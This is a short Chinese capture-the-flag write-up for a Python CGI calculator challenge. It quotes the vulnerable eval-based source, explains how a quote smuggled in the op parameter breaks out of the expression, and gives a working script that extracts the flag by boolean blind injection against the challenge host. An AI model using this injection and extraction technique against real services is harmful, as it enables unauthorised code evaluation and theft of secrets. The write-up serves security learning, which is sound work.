给出了源码。分析下
这里就写关键源码了
FLAG = open('/var/www/flag','r').read()
source = arguments['source'].value
def get_value(val):
val = str(val)[:64]
if str(val).isdigit(): return int(val)
blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
if val == '' or [c for c in blacklist if c in val] != []:
print('<center>Invalid value</center>')
sys.exit(0)
return val
def get_op(val):
val = str(val)[:2]
list_ops = ['+','-','/','*','=','!']
if val == '' or val[0] not in list_ops:
print('<center>Invalid op</center>')
sys.exit(0)
return val
op = get_op(arguments['op'].value)
value1 = get_value(arguments['value1'].value)
value2 = get_value(arguments['value2'].value)
calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
可以看到。就是个计算器。
value1+op+value2
value1和2不能出现"()[]\'
op的第一个字符只能是+-/*=!
大致执行如下
'1' + '1'
value1 op vlaue2
由于op只判断第一个值。我们可以插入单引号。并且注释后面的单引号
'1' +' ' and source in flag#
value1' op value2
可以看到。我们op输入+'。成功闭合语句。然后在value2的地方构造语句。并注释
这里限定了返回值。只能是True或False。那么我们可以用in。来构造波尔盲注
而source是全局变量。并且我们可控。可以用来比较
写个脚本
import requests
url="http://c41ca0d9-9a2b-40b3-be0a-8aea3ecd98e6.node3.buuoj.cn/cgi-bin/pycalx.py?value1=f&op=%2b'&value2=+and+True+and+source+in+FLAG%23&source="
s='abcdefghijkmnlopqrstuvwxyz0123456789-}'
flag='fl'
for a in range(50):
for i in s:
r=requests.get(url=url+flag+i).text
print(url+flag+i)
if 'False' not in r:
print(flag)
flag+=i
break